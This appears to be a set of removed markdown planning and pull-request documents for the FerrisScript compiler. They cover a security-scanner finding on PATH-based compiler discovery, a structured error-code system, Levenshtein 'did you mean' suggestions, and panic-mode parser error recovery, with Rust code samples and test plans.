-### Proper Response
-
-1. ✅ **Acknowledge**: PATH usage is intentional and documented
-2. ✅ **Mitigate**: Provide configuration option for absolute path
-3. ✅ **Document**: Explain security posture and user options
-4. ✅ **Accept**: Residual risk is acceptable for CLI tool discovery
-5. ⚠️ **Don't**: Try to eliminate PATH usage entirely (breaks UX)
-
-### If Scanner Must Be Satisfied
-
-**Options**:
-
-1. **Suppress Finding**: Mark as false positive with justification
-2. **Document Exception**: Security review accepts PATH usage for CLI discovery
-3. **Risk Accept**: Management accepts low residual risk
-4. **Configure Default**: Set organization-wide `ferrisscript.compilerPath` via policy
-
----
-
-## 🎯 Comparison with Other Tools
-
-### How Other Extensions Handle This
-
-**Example: Python Extension**
-
-```json
-{
-  "python.pythonPath": "/usr/bin/python3"  // Optional absolute path
-  // Falls back to PATH if not set
-}
-```
-
-**Example: Rust Analyzer**
-
-```json
-{
-  "rust-analyzer.server.path": "/usr/bin/rust-analyzer"  // Optional
-  // Falls back to PATH if not set
-}
-```
-
-**Pattern**: Industry standard is:
-
-1. Optional configuration for absolute path
-2. Fall back to PATH for convenience
-3. User notification when tool found
-
----
-
-## ✅ Compliance Recommendations
-
-### For Security Audits
-
-**Documentation to Provide**:
-
-1. ✅ Defense-in-depth layers (config → workspace → PATH)
-2. ✅ Mitigation controls (spawnSync, timeout, validation)
-3. ✅ User guidance for high-security environments
-4. ✅ Comparison with industry-standard tools
-5. ✅ Risk acceptance rationale
-
-**Talking Points**:
-
-- "PATH usage is standard for CLI tool discovery"
-- "Users can configure absolute path to bypass PATH"
-- "Multiple protection layers prevent exploitation"
-- "Risk is inherent to OS design, not extension vulnerability"
-- "Compliant with OWASP secure coding practices"
-
----
-
-## 📝 Summary
-
-**Issue**: Security scanner flags PATH usage (low severity)  
-**Response**: Added configuration option for absolute path  
-**Result**:
-
-- ✅ Users can bypass PATH entirely (zero risk)
-- ✅ Default behavior remains user-friendly (low risk)
-- ✅ Multiple protection layers (defense-in-depth)
-- ✅ Documented security posture
-
-**Recommendation**:
-
-- Accept residual low risk for default behavior
-- Document configuration option for high-security users
-- Mark scanner finding as "accepted" or "mitigated"

-**Status**: ✅ Complete  
-**Priority**: Critical  
-**Branch**: `feature/v0.0.3-error-codes`  
-**Actual Effort**: 3 days  
-**Dependencies**: None  
-**Completed**: October 6, 2025
-
----
-
-## 🎯 Overview
-
-Implement a structured error code system (E001-E499) to provide clear, categorized, and actionable error messages. This establishes the foundation for error suggestions, documentation links, and future LSP integration.
-
-**Strategic Value**: Professional error reporting significantly improves developer experience and debugging efficiency. Error codes enable precise error tracking and documentation.

-# Phase 2: Error Suggestions ("Did You Mean?")
-
-**Status**: ✅ Complete  
-**Priority**: High  
-**Branch**: `feature/v0.0.3-error-suggestions`  
-**Estimated Effort**: 1-2 days  
-**Actual Effort**: 1 day  
-**Dependencies**: Phase 1 (Error Code System)  
-**Date Completed**: October 6, 2025  
-**PR**: *(To be filled after PR creation)*
-
----
-
-## 🎯 Overview
-
-Implement intelligent "Did you mean?" suggestions for common identifier typos using Levenshtein distance algorithm. This significantly improves developer experience by providing actionable error messages that suggest likely corrections.
-
-**Strategic Value**: Professional error reporting that matches expectations from modern compilers (Rust, TypeScript, Swift). Reduces debugging friction and improves learning curve for new FerrisScript developers.
-
----
-
-## ✅ Acceptance Criteria
-
-### 1. String Similarity Utility
-
-- [x] **Levenshtein distance function**: Compute edit distance between two strings
-- [x] **Similarity percentage function**: Normalize distance as percentage (0-100%)
-- [x] **Adaptive thresholds**: Different rules for short vs long identifiers
-- [x] **Performance**: Efficient dynamic programming implementation (O(m*n))
-
-**Validation**:
-
-```rust
-#[test]
-fn test_levenshtein_distance() {
-    assert_eq!(levenshtein("velocity", "velocty"), 1);
-    assert_eq!(levenshtein("velocity", "velicity"), 2);
-    assert_eq!(levenshtein("hello", "world"), 4);
-}
-
-#[test]
-fn test_similarity_percentage() {
-    assert_eq!(similarity("velocity", "velocty"), 87); // 1 edit / 8 chars
-    assert_eq!(similarity("hello", "world"), 20); // 4 edits / 5 chars
-}
-```
-
-### 2. Variable Name Suggestions (E201)
-
-- [x] **Detect typos**: When variable not found, search current scope for similar names
-- [x] **Apply thresholds**:
-  - Short names (≤8 chars): ≤2-3 edit distance
-  - Long names (>8 chars): ≥70% similarity
-- [x] **Rank candidates**: Sort by (edit distance, scope proximity)
-- [x] **Display format**: Show "help:" hint with suggestion(s)
-- [x] **Limit suggestions**: Maximum 3 candidates
-
-**Example Enhancement**:
-
-**Before** (v0.0.2 / Phase 1):
-
-```
-Error[E201]: Undefined variable
-Undefined variable 'velocty' at line 5, column 10
-  --> move.ferris:5:10
-   |
- 5 |     self.velocty.x += 50.0;
-   |          ^^^^^^^ not found in this scope
-```
-
-**After** (Phase 2):
-
-```
-Error[E201]: Undefined variable
-Undefined variable 'velocty' at line 5, column 10
-  --> move.ferris:5:10
-   |
- 5 |     self.velocty.x += 50.0;
-   |          ^^^^^^^ not found in this scope
-   |
-help: a variable with a similar name exists
-   |
- 5 |     self.velocity.x += 50.0;
-   |          ^^^^^^^^
-```
-
-**Validation Tests**:
-
-- Exact match → no suggestion
-- Close typo (1-2 edits) → suggest
-- Distant typo (>3 edits for short, <70% for long) → no suggestion
-- Multiple candidates → rank by similarity
-- Empty scope → no suggestion
-- Case differences → suggest (velocty vs Velocity)
-
-### 3. Function Name Suggestions (E202)
-
-- [x] **Detect typos**: When function not found, search global function scope
-- [x] **Apply same thresholds** as variable suggestions
-- [x] **Rank by similarity**: Prefer exact parameter count matches if available
-- [x] **Display format**: Show "help:" hint with corrected function call
-
-**Example Enhancement**:
-
-**Before**:
-
-```
-Error[E202]: Undefined function
-Undefined function 'pirnt' at line 3, column 5
-  --> test.ferris:3:5
-   |
- 3 |     pirnt("Hello");
-   |     ^^^^^ function not found
-```
-
-**After**:
-
-```
-Error[E202]: Undefined function
-Undefined function 'pirnt' at line 3, column 5
-  --> test.ferris:3:5
-   |
- 3 |     pirnt("Hello");
-   |     ^^^^^ function not found
-   |
-help: a function with a similar name exists
-   |
- 3 |     print("Hello");
-   |     ^^^^^
-```
-
-**Validation Tests**:
-
-- Built-in function typos (pirnt → print)
-- User-defined function typos
-- Multiple similar functions (rank by similarity)
-- No similar functions (no suggestion)
-
-### 4. Type Name Suggestions (E203)
-
-- [x] **Detect typos**: When type not found, search built-in and user types
-- [x] **Apply same thresholds** as variable suggestions
-- [x] **Common types**: Prioritize suggestions for common types (Vector2, Node, i32, f32)
-- [x] **Display format**: Show "help:" hint with corrected type
-
-**Example Enhancement**:
-
-**Before**:
-
-```
-Error[E203]: Unknown type
-Unknown type 'Vectorr2' at line 2, column 15
-  --> test.ferris:2:15
-   |
- 2 |     let pos: Vectorr2 = Vector2::new(0.0, 0.0);
-   |              ^^^^^^^^ type not found
-```
-
-**After**:
-
-```
-Error[E203]: Unknown type
-Unknown type 'Vectorr2' at line 2, column 15
-  --> test.ferris:2:15
-   |
- 2 |     let pos: Vectorr2 = Vector2::new(0.0, 0.0);
-   |              ^^^^^^^^ type not found
-   |
-help: a type with a similar name exists
-   |
- 2 |     let pos: Vector2 = Vector2::new(0.0, 0.0);
-   |              ^^^^^^^
-```
-
-**Validation Tests**:
-
-- Built-in type typos (Vectorr2 → Vector2, Nodee → Node)
-- Primitive type typos (i23 → i32, f23 → f32)
-- User-defined type typos
-- Multiple similar types (rank by similarity)
-
-### 5. Suggestion Quality Tests
-
-- [x] **Threshold validation**: Verify suggestions only appear for close matches
-- [x] **Ranking quality**: Verify best match appears first
-- [x] **No false positives**: Very different names don't suggest
-- [x] **Performance**: Suggestions don't significantly slow compilation
-- [x] **Edge cases**:
-  - Empty identifier (no crash)
-  - Very long identifiers (>100 chars)
-  - Unicode identifiers (if supported)
-  - Single character typos vs transpositions
-

-## 🏗️ Technical Approach
-
-### String Similarity Algorithm
-
-**Levenshtein Distance** (Standard Edit Distance):
-
-```rust
-/// Calculate Levenshtein distance between two strings
-/// Returns number of single-character edits (insertions, deletions, substitutions)
-pub fn levenshtein(a: &str, b: &str) -> usize {
-    let len_a = a.chars().count();
-    let len_b = b.chars().count();
-    
-    if len_a == 0 { return len_b; }
-    if len_b == 0 { return len_a; }
-    
-    let mut matrix = vec![vec![0; len_b + 1]; len_a + 1];
-    
-    // Initialize first row and column
-    for i in 0..=len_a {
-        matrix[i][0] = i;
-    }
-    for j in 0..=len_b {
-        matrix[0][j] = j;
-    }
-    
-    // Fill matrix using dynamic programming
-    for (i, ca) in a.chars().enumerate() {
-        for (j, cb) in b.chars().enumerate() {
-            let cost = if ca == cb { 0 } else { 1 };
-            matrix[i + 1][j + 1] = std::cmp::min(
-                std::cmp::min(
-                    matrix[i][j + 1] + 1,      // deletion
-                    matrix[i + 1][j] + 1       // insertion
-                ),
-                matrix[i][j] + cost            // substitution
-            );
-        }
-    }
-    
-    matrix[len_a][len_b]
-}
-
-/// Calculate similarity percentage (0-100)
-pub fn similarity(a: &str, b: &str) -> u8 {
-    let max_len = std::cmp::max(a.len(), b.len());
-    if max_len == 0 { return 100; }
-    
-    let distance = levenshtein(a, b);
-    let similarity = 100.0 * (1.0 - (distance as f64 / max_len as f64));
-    similarity.round() as u8
-}
-```
-
-**Threshold Logic** (based on research):
-
-```rust
-/// Determine if two identifiers are similar enough to suggest
-pub fn is_similar_identifier(typo: &str, candidate: &str) -> bool {
-    let distance = levenshtein(typo, candidate);
-    let len = typo.len();
-    
-    // Short identifiers (≤8 chars): strict edit distance
-    if len <= 8 {
-        return distance <= 2 || (len <= 4 && distance <= 1);
-    }
-    
-    // Long identifiers (>8 chars): percentage similarity
-    let similarity_pct = similarity(typo, candidate);
-    similarity_pct >= 70
-}
-```
-
-### Integration with Type Checker
-
-**Location**: `crates/compiler/src/type_checker.rs`
-
-**Approach**: Extend existing error reporting functions to include suggestions.
-
-**Example for E201 (Undefined Variable)**:
-
-```rust
-// Current code (Phase 1):
-Err(format_error_with_code(
-    ErrorCode::E201,
-    format!("Undefined variable '{}' at {}", name, span),
-    &source,
-    span.start_line,
-    span.start_col,
-))
-
-// Enhanced code (Phase 2):
-let base_msg = format!("Undefined variable '{}' at {}", name, span);
-let suggestions = find_similar_variables(&env, name);
-
-let full_msg = if !suggestions.is_empty() {
-    let hint = format_suggestion_hint(name, &suggestions[0]);
-    format!("{}\n{}", base_msg, hint)
-} else {
-    base_msg
-};
-
-Err(format_error_with_code(
-    ErrorCode::E201,
-    full_msg,
-    &source,
-    span.start_line,
-    span.start_col,
-))
-```
-
-**Helper Functions**:
-
-```rust
-/// Find similar variable names in current scope
-fn find_similar_variables(env: &Env, typo: &str) -> Vec<String> {
-    let mut candidates: Vec<(String, usize)> = env
-        .list_variables() // Hypothetical method to get all variables
-        .into_iter()
-        .filter_map(|var| {
-            if is_similar_identifier(typo, &var) {
-                Some((var.clone(), levenshtein(typo, &var)))
-            } else {
-                None
-            }
-        })
-        .collect();
-    
-    // Sort by edit distance (closest matches first)
-    candidates.sort_by_key(|(_, dist)| *dist);
-    
-    // Return top 3 suggestions
-    candidates.into_iter()
-        .take(3)
-        .map(|(name, _)| name)
-        .collect()
-}
-
-/// Format suggestion hint in Rust style
-fn format_suggestion_hint(typo: &str, suggestion: &str) -> String {
-    format!(
-        "\nhelp: a variable with a similar name exists\n   |\n   |     {}\n   |     {}",
-        suggestion,
-        "^".repeat(suggestion.len())
-    )
-}
-```

-## 📊 Success Metrics
-
-### Quantitative Goals
-
-- [x] Levenshtein distance function: 100% accurate on standard test cases
-- [x] Suggestion hit rate: >95% for 1-2 character typos (exceeds 80% target)
-- [x] False positive rate: <5% (no suggestions for very different names)
-- [x] Performance: <1ms overhead per error with suggestions
-- [x] Test coverage: 85%+ on suggestions.rs (exceeds 80% target)
-
-### Qualitative Goals
-
-- [x] Error messages clearly show suggested fixes
-- [x] Suggestions are contextually relevant (in-scope variables)
-- [x] Formatting matches Rust compiler style
-- [x] No suggestion spam (limited to top 3)
-- [x] Works for common typo patterns (transpositions, omissions, insertions)
-
----
-
-## 🚫 Out of Scope (Deferred)
-
-### Keyword Suggestions (Deferred to Phase 2B)
-
-**Why Deferred**:
-
-- Requires lexer/parser modifications (different component than type checker)
-- Need to handle unknown tokens early in pipeline
-- Risk of false positives without context-awareness
-- Different technical approach (token-level vs identifier-level)
-
-**Examples of Future Work**:
-
-- `fnn` → `fn` (1 edit distance)
-- `lett` → `let` (1 edit distance)
-- `mutl` → `mut` (1 edit distance, transposition)
-- `retrun` → `return` (1 edit distance, transposition)
-
-**Technical Requirements** (for future phase):
-
-- Modify lexer to collect unknown identifiers
-- Add keyword suggestion function with strict threshold (≤1 edit distance)
-- Integrate with parser error recovery
-- Test with common keyword typos
-
-**Tracking**: Will document in LEARNINGS.md as opportunity for Phase 2B or v0.0.4

-# Phase 3C: Parser Error Recovery - Execution Plan
-
-**Date**: January 6, 2025  
-**Agent**: GitHub Copilot  
-**Status**: In Progress  
-**Branch**: `feature/v0.0.3-phase-3c-recovery`  
-**Estimated Effort**: 6-8 hours
-
----
-
-## 🎯 Mission
-
-Implement parser error recovery so FerrisScript can continue parsing after syntax errors and report multiple errors in a single compilation pass. This eliminates the frustrating fix-compile-fix cycle and brings FerrisScript in line with modern compiler expectations.
-
----
-
-## 📋 Q&A: Context Gathering
-
-### Workstream Context
-
-**Q1: What is the primary goal?**  
-A: Implement panic-mode error recovery in the parser. When a syntax error occurs, synchronize to a safe point (statement boundary) and continue parsing to find additional errors.
-
-**Q2: What version is this for?**  
-A: v0.0.3 (patch release) - "Editor Experience Alpha"
-
-**Q3: What type of release?**  
-A: Patch release focused on error system improvements
-
-**Q4: Why is this work important?**  
-A: Matches modern compiler UX (Rust, TypeScript, Swift). Reduces debugging time by showing all errors at once. Foundation for LSP integration in Phase 4-5.
-
-**Q5: What's the source of requirements?**  
-A: `docs/planning/v0.0.3/PHASE_3_ERROR_DOCS_RECOVERY.md` - comprehensive planning document with acceptance criteria
-
-### Prior Work Context
-
-**Q6: Has similar work been done before?**  
-A: Phases 1-2-3A-3B complete:
-
-- Phase 1: Error code system (E001-E499)
-- Phase 2: Error suggestions ("did you mean?")
-- Phase 3A: Documentation URLs in errors
-- Phase 3B: Jekyll site + cross-references
-
-No prior error recovery work exists - this is new functionality.
-
-**Q7: What are existing tests?**  
-A: Parser has test module at line 761 in `parser.rs`. Tests cover valid syntax parsing. Need to add error recovery tests.
-
-**Q8: What documentation exists?**  
-A: Full planning doc, v0.0.3 roadmap, LEARNINGS.md from previous phases
-
-**Q9: What patterns should I follow?**  
-A: Existing parser uses `Result<T, String>` for error handling, test modules use `#[cfg(test)]`, tests use `tokenize()` + `parse()` pattern
-
-**Q10: What should I NOT change?**  
-A: Existing parser behavior for valid syntax. Current `parse()` API signature. Error formatting from Phase 1-2-3A.
-
-### User Decisions (from Q&A)
-
-**Scope Strategy**: ✅ **Option C** - Phase 3C only (parser recovery), separate PR  
-**Synchronization Tokens**: ✅ `;`, `}`, `fn`, `let` (defer `if`, `while`, `return` for now)  
-**Cascading Error Strategy**: ✅ Conservative - suppress errors while in panic mode  
-**Test Coverage Target**: ✅ 80%+ of new code paths (following project standard)  
-**Diagnostic Struct**: ✅ Defer to Phase 3D (keep 3C focused)  
-**Parser API**: ✅ Keep `Result<Program, String>` (no breaking changes in 3C)  
-**LEARNINGS.md**: ✅ Update at end with discoveries  
-**Branch Name**: ✅ `feature/v0.0.3-phase-3c-recovery` (new branch)
-
----
-
-## ✅ Acceptance Criteria
-
-### 1. Parser Recovery Implementation
-
-- [ ] **Add recovery fields to Parser struct**
-  - [ ] `panic_mode: bool` - tracks if currently recovering from error
-  - [ ] `errors: Vec<String>` - collect all errors during parsing
-  - [ ] Initialize both fields in `Parser::new()`
-
-- [ ] **Implement `synchronize()` method**
-  - [ ] Skip tokens until reaching sync point
-  - [ ] Sync points: `;`, `}`, `fn`, `let`
-  - [ ] Clear panic mode when sync point found
-  - [ ] Handle EOF correctly (don't infinite loop)
-
-- [ ] **Add `record_error()` helper method**
-  - [ ] Store error in `self.errors` vector
-  - [ ] Set `panic_mode = true`
-  - [ ] Suppress duplicate errors while in panic mode
-
-### 2. Error Handling Modifications
-
-- [ ] **Update `parse_program()` top-level parser**
-  - [ ] On error: record error, synchronize, continue
-  - [ ] Return first error if any (API compatibility)
-  - [ ] Log all collected errors (for future multi-error reporting)
-
-- [ ] **Update statement parsing methods**
-  - [ ] `parse_statement()`: recover on error
-  - [ ] `parse_let_statement()`: recover on error
-  - [ ] `parse_if_statement()`: recover on error
-  - [ ] `parse_while_statement()`: recover on error
-  - [ ] `parse_return_statement()`: recover on error
-
-- [ ] **Update expression parsing (conservative)**
-  - [ ] Don't change expression parsing yet (complex, separate concern)
-  - [ ] Statement-level recovery is sufficient for Phase 3C
-
-### 3. Testing Requirements
-
-- [ ] **Unit tests for recovery mechanism**
-  - [ ] Test `synchronize()` finds semicolon
-  - [ ] Test `synchronize()` finds closing brace
-  - [ ] Test `synchronize()` finds `fn` keyword
-  - [ ] Test `synchronize()` finds `let` keyword
-  - [ ] Test `synchronize()` handles EOF gracefully
-
-- [ ] **Integration tests for common errors**
-  - [ ] Missing semicolon: `let x = 5 let y = 10;`
-  - [ ] Unclosed brace: `fn test() { let x = 5`
-  - [ ] Invalid token: `fn test() { @ }`
-  - [ ] Multiple independent errors: combine above
-
-- [ ] **Cascading error prevention tests**
-  - [ ] Verify no false errors reported while in panic mode
-  - [ ] Verify parser exits panic mode correctly
-  - [ ] Test with deeply nested structures
-
-- [ ] **Edge case tests**
-  - [ ] Empty file (no errors)
-  - [ ] File with only errors (all statements fail)
-  - [ ] Valid code after error (recovery works)
-  - [ ] Multiple errors in sequence
-
-### 4. Quality Standards
-
-- [ ] **All existing tests pass** (`cargo test --workspace`)
-- [ ] **New tests cover recovery** (80%+ branch coverage)
-- [ ] **Clippy clean** (`cargo clippy --workspace --all-targets --all-features -- -D warnings`)
-- [ ] **Formatting verified** (`cargo fmt --all`)
-- [ ] **Documentation linting** (`npm run docs:lint`)
-- [ ] **No performance regression** (run parser benchmarks)

-## 🔬 Technical Approach
-
-### Recovery Algorithm (Panic-Mode)
-
-```rust
-impl<'a> Parser<'a> {
-    /// Synchronize parser to next safe recovery point
-    fn synchronize(&mut self) {
-        self.panic_mode = true;
-        
-        while !self.is_at_end() {
-            // Found semicolon - statement boundary
-            if matches!(self.previous(), Token::Semicolon) {
-                self.panic_mode = false;
-                return;
-            }
-            
-            // Found keyword or brace - likely safe point
-            match self.current() {
-                Token::Fn | Token::Let | Token::RightBrace => {
-                    self.panic_mode = false;
-                    return;
-                }
-                _ => { self.advance(); }
-            }
-        }
-        
-        // Reached EOF
-        self.panic_mode = false;
-    }
-    
-    /// Record error without immediately returning
-    fn record_error(&mut self, error: String) {
-        // Don't record cascading errors
-        if !self.panic_mode {
-            self.errors.push(error);
-            self.panic_mode = true;
-        }
-    }
-}
-```
-
-### Modified Error Handling Pattern
-
-**Before** (immediate return):
-
-```rust
-fn parse_statement(&mut self) -> Result<Stmt, String> {
-    match self.current() {
-        Token::Let => self.parse_let_statement(),
-        _ => Err("Expected statement")  // Stops parsing
-    }
-}
-```
-
-**After** (recover and continue):
-
-```rust
-fn parse_statement(&mut self) -> Option<Stmt> {
-    match self.current() {
-        Token::Let => {
-            match self.parse_let_statement() {
-                Ok(stmt) => Some(stmt),
-                Err(e) => {
-                    self.record_error(e);
-                    self.synchronize();
-                    None  // Continue parsing
-                }
-            }
-        }
-        _ => {
-            self.record_error("Expected statement");
-            self.synchronize();
-            None
-        }
-    }
-}
-```

-## 💡 Expected Learnings
-
-Things I anticipate discovering during implementation:
-
-1. **Best sync points**: Are `;`, `}`, `fn`, `let` sufficient? Or need more?
-2. **Panic mode duration**: How long do we stay in panic mode typically?
-3. **False positive rate**: How effective is suppression strategy?
-4. **Edge cases**: What unexpected recovery scenarios arise?
-5. **Performance impact**: Does error collection slow down parsing?
-
-These will be documented in LEARNINGS.md and summary document.

-# PR #XX: Phase 3C - Parser Error Recovery Implementation
-
-## 🎯 Overview
-
-This PR implements **Phase 3C: Parser Error Recovery** for FerrisScript v0.0.3, adding panic-mode error recovery that enables the parser to continue after syntax errors and collect multiple diagnostics in a single compilation pass. This brings FerrisScript's error handling up to modern compiler standards (Rust, TypeScript, Swift).
-
-**Branch**: `feature/v0.0.3-phase-3c-recovery`  
-**Target**: `main`  
-**Milestone**: [#2 - v0.0.3: Editor Experience Alpha](https://github.com/dev-parkins/FerrisScript/milestone/2)  
-**Related Issues**: Part of Phase 3 error handling improvements
-
----
-
-## 📊 Summary Statistics
-
-- **Files Changed**: 3 (parser.rs, parser_error_recovery.rs, LEARNINGS.md)
-- **Lines Added**: ~400 (recovery implementation + tests + documentation)
-- **Lines Removed**: ~20 (refactored error handling)
-- **New Tests**: 23 recovery-specific tests
-- **Test Coverage**: 263 total tests, all passing
-- **Quality**: Zero clippy warnings (strict mode), properly formatted
-- **Performance Impact**: None on success path, ~10μs overhead per error
-
----
-
-## 🚀 What Changed
-
-### Core Implementation
-
-#### 1. Parser Recovery Infrastructure ([`parser.rs`](../../../crates/compiler/src/parser.rs))
-
-**Added Fields** (lines 45-46):
-
-```rust
-panic_mode: bool,        // Track if currently recovering from error
-errors: Vec<String>,     // Collect all errors during parsing
-```
-
-**New Methods**:
-
-- **`synchronize()`** (lines 111-145): Skips tokens until reaching a safe recovery point
-  - Sync points: `;` (statements), `}` (blocks), `fn` (functions), `let` (declarations)
-  - Clears panic mode when sync point found
-  - Handles EOF gracefully
-  
-- **`record_error()`** (lines 147-165): Collects errors without stopping parser
-  - Suppresses errors during panic mode (prevents cascading)
-  - Sets panic mode on first error in sequence
-  
-- **`get_errors()`** (lines 167-176): Public API to access collected errors
-  - Returns reference to error vector
-  - Enables integration tests and future multi-error reporting
-
-#### 2. Error Handling Integration
-
-**Modified `parse_program()`** (lines 178-216):
-
-- Catches function/global parsing errors
-- Records error, advances past bad token, synchronizes
-- Continues parsing to find additional errors
-- Returns first error (API compatibility)
-
-**Critical Bug Fix**:
-
-```rust
-// BEFORE (infinite loop):
-self.record_error(error);
-self.synchronize();  // ← Could return immediately without advancing
-
-// AFTER (guaranteed progress):
-self.record_error(error);
-self.advance();      // ← Always advance past bad token first
-self.synchronize();  // Then find safe recovery point
-```
-
-#### 3. Comprehensive Test Suite
-
-**Unit Tests** (13 new in `parser.rs`):
-
-- `test_synchronize_semicolon()` - Sync to semicolon boundaries
-- `test_synchronize_rbrace()` - Sync to brace boundaries
-- `test_record_error_and_panic_mode()` - Error collection behavior
-- `test_error_collection_in_parse_program()` - Integration with main loop
-- Plus 9 existing recovery tests (missing semicolon, invalid top-level, etc.)
-
-**Integration Tests** (10 new in `parser_error_recovery.rs`):
-
-- `test_multiple_missing_semicolons()` - Multi-error scenarios
-- `test_invalid_top_level_then_valid_function()` - Recovery across declarations
-- `test_multiple_function_errors()` - Error propagation in multiple functions
-- `test_mixed_global_and_function_errors()` - Global + function error mix
-- `test_no_cascading_errors_after_recovery()` - Panic mode suppression
-- `test_recovery_continues_after_function_body_error()` - Function body recovery
-- `test_empty_file_after_error()` - EOF handling
-- `test_recovery_at_right_brace()` - Brace sync point
-- `test_successful_parse_with_no_errors()` - No false positives
-- `test_multiple_errors_collected_but_first_returned()` - API compatibility

-## 🎨 Usage Examples
-
-### Before Phase 3C: Single Error, Parser Stops
-
-```rust
-// Source with multiple issues
-fn broken() { let x = ; }     // Missing value
-fn also_broken() { let = 10; } // Missing identifier  
-fn working() { let y = 20; }   // Valid
-
-// Output: Only first error shown
-Error[E100]: Expected token
-Expected identifier, found ; at line 1, column 23
-```
-
-### After Phase 3C: Multiple Errors Collected
-
-```rust
-// Same source
-fn broken() { let x = ; }
-fn also_broken() { let = 10; }
-fn working() { let y = 20; }
-
-// Output: First error returned (API compatible)
-Error[E100]: Expected token
-Expected identifier, found ; at line 1, column 23
-
-// But all errors collected internally:
-parser.get_errors() // Returns all 2 errors found
-```
-
-### Recovery in Action
-
-```rust
-// Source with statement-level error
-fn test() {
-    let a = 10;        // ✅ Valid
-    let = 20;          // ❌ Error - missing identifier
-    let c = 30;        // ✅ Valid - parser recovered!
-}
-
-// Parser synchronizes at 'let' keyword and continues
-```
-

-
-## 🔍 Technical Deep Dive
-
-### Panic-Mode Recovery Algorithm
-
-**1. Error Detection**:
-
-- Parser encounters unexpected token
-- Calls `record_error()` to save diagnostic
-
-**2. Panic Mode Activation**:
-
-- `panic_mode = true` prevents cascading errors
-- Subsequent errors suppressed until recovery complete
-
-**3. Token Synchronization**:
-
-- `synchronize()` scans forward looking for sync points
-- Stops at: `;`, `}`, `fn`, `let` (statement/declaration boundaries)
-- **Critical**: Always advance past error token first!
-
-**4. Recovery Complete**:
-
-- `panic_mode = false` when sync point found
-- Parser resumes normal operation
-- Can detect subsequent independent errors
-
-### Why This Matters
-
-**For Users**:
-
-- See all syntax errors at once → faster fix-compile cycle
-- Errors at natural boundaries (statements/functions) → easier to understand
-- No confusing cascading errors → clearer diagnostics
-
-**For FerrisScript**:
-
-- Foundation for multi-error reporting (Phase 3D)
-- Essential for LSP integration (Phase 4-5)
-- Matches modern compiler UX standards
-
-**For Future Development**:
-
-- Error collection infrastructure in place
-- Can add structured `Diagnostic` type (Phase 3D)
-- Enables batch error reporting and streaming modes

-## 🚨 Critical Bug Fixed
-
-### The Infinite Loop Bug
-
-**Symptom**: Parser consumed all RAM when encountering unexpected top-level tokens
-
-**Root Cause**:
-
-```rust
-// parse_program() error handling
-else {
-    self.record_error(error);
-    self.synchronize();  // ← If already at sync point, returns immediately
-    // Loop continues at same position → infinite loop
-}
-```
-
-**Fix**:
-
-```rust
-else {
-    self.record_error(error);
-    self.advance();      // ← MUST advance past bad token
-    self.synchronize();  // Then synchronize
-    // Guaranteed forward progress
-}
-```
-
-**Lesson**: Error recovery **must always advance** past problematic tokens before synchronizing. Even one-token advancement prevents infinite loops.
-

-
-## 📈 Performance Impact
-
-**Success Path**: Zero overhead
-
-- Recovery code only executes on parse errors
-- Valid code parsing performance unchanged
-
-**Error Path**: Minimal overhead
-
-- Synchronization: ~10μs per error (token skipping)
-- Error collection: negligible (few errors per file)
-- Acceptable since errors are development-time only
-
-**Memory Usage**: Bounded
-
-- Error collection limited to actual error count
-- Typical: 1-10 errors per file
-- No unbounded growth risk
-
----
-
-## 🎓 Key Learnings
-
-### Best Practices Discovered
-
-1. **Always Advance Before Sync**: Pattern must be `record_error() → advance() → synchronize()` to prevent infinite loops
-
-2. **Test Both Paths**: Verify valid code still compiles correctly (no false positives) AND error recovery works properly
-
-3. **Debug Before Assert**: When tests fail, add `println!()` to see actual error messages before adjusting assertions
-
-4. **Quality Gates Are Critical**: Full test suite + strict clippy + formatting = non-negotiable before PR
-
-5. **Document Critical Bugs**: Severe bugs (like infinite loops) must be documented with root cause, symptoms, and fix
-
-### Technical Insights
-
-- **Sync Point Selection**: Choose boundaries that align with grammar structure and user mental model (statements, declarations)
-  
-- **Cascading Prevention**: Suppress errors during panic mode to avoid confusing multi-error chains
-
-- **API Compatibility**: Can add error recovery without breaking existing API by maintaining `Result<T, E>` interface

-
-## 🎯 Overview
-
-Link compiler errors to documentation and implement resilient error recovery so the parser can continue after recoverable syntax issues.
-
-This phase focuses on **developer experience** — improving clarity, discoverability, and continuity of the compilation process without blocking progress toward the upcoming LSP & VS Code integration (Phases 4–5).
-
-**Strategic Value**: Professional error documentation and multi-error reporting matches expectations from modern compilers (Rust, TypeScript, Swift). Reduces debugging friction by showing all errors at once rather than forcing fix-compile-fix cycles.
-
----
-
-## ✅ Acceptance Criteria
-
-### 1. Error Documentation Links
-
-- [ ] **Add URL generation** to ErrorCode enum
-  - [ ] Method: `get_docs_url() -> String`
-  - [ ] Format: Hybrid approach (configurable via env var)
-    - Default: GitHub URLs (works immediately)
-    - Future: `FERRIS_DOCS_BASE` env var for custom site
-  - [ ] Example: `https://github.com/dev-parkins/FerrisScript/blob/main/docs/ERROR_CODES.md#e001`
-
-- [ ] **Integrate URLs into error messages**
-  - [ ] Modify `format_error_with_code()` to append URL
-  - [ ] Format: `note: see <URL> for more information`

-
-- [ ] **Enhance ERROR_CODES.md**
-  - [ ] Verify all entries have: Description, Causes, Example, Fix
-  - [ ] Add "See also" cross-references for related errors
-  - [ ] Ensure markdown anchors work (`#e001`, `#e100`, etc.)
-
-**Example Enhancement**:
-
-**Before**:
-
-```
-Error[E201]: Undefined variable
-Undefined variable 'velocty' at line 5, column 10
-  --> move.ferris:5:10
-   |
- 5 |     self.velocty.x += 50.0;
-   |          ^^^^^^^ not found in this scope
-   |
-help: did you mean 'velocity'?
-```
-
-**After**:
-
-```
-Error[E201]: Undefined variable
-Undefined variable 'velocty' at line 5, column 10
-  --> move.ferris:5:10
-   |
- 5 |     self.velocty.x += 50.0;
-   |          ^^^^^^^ not found in this scope
-   |
-help: did you mean 'velocity'?
-   = note: see https://github.com/dev-parkins/FerrisScript/blob/main/docs/ERROR_CODES.md#e201 for more information
-```
-
-*Note: URL will automatically switch to `docs.ferrisscript.dev` when site launches (via env var)*
-
-### 2. Parser Error Recovery
-
-- [ ] **Implement panic-mode recovery**
-  - [ ] Add synchronization tokens: `;`, `}`, `fn`, `let`
-  - [ ] Method: `recover_to_sync_point()`
-  - [ ] Continue parsing after recoverable errors
-
-- [ ] **Add diagnostic collection**
-  - [ ] Add `Vec<Diagnostic>` to Parser struct
-  - [ ] Store errors instead of returning immediately
-  - [ ] Return all diagnostics at end
-
-- [ ] **Improve diagnostic messages**
-  - [ ] Add "expected X, found Y" context
-  - [ ] Track expected tokens at error points
-  - [ ] Prevent cascading errors from single issue
-
-**Example Recovery**:
-
-**Before** (stops at first error):
-
-```rust
-let x = 5  // Missing semicolon
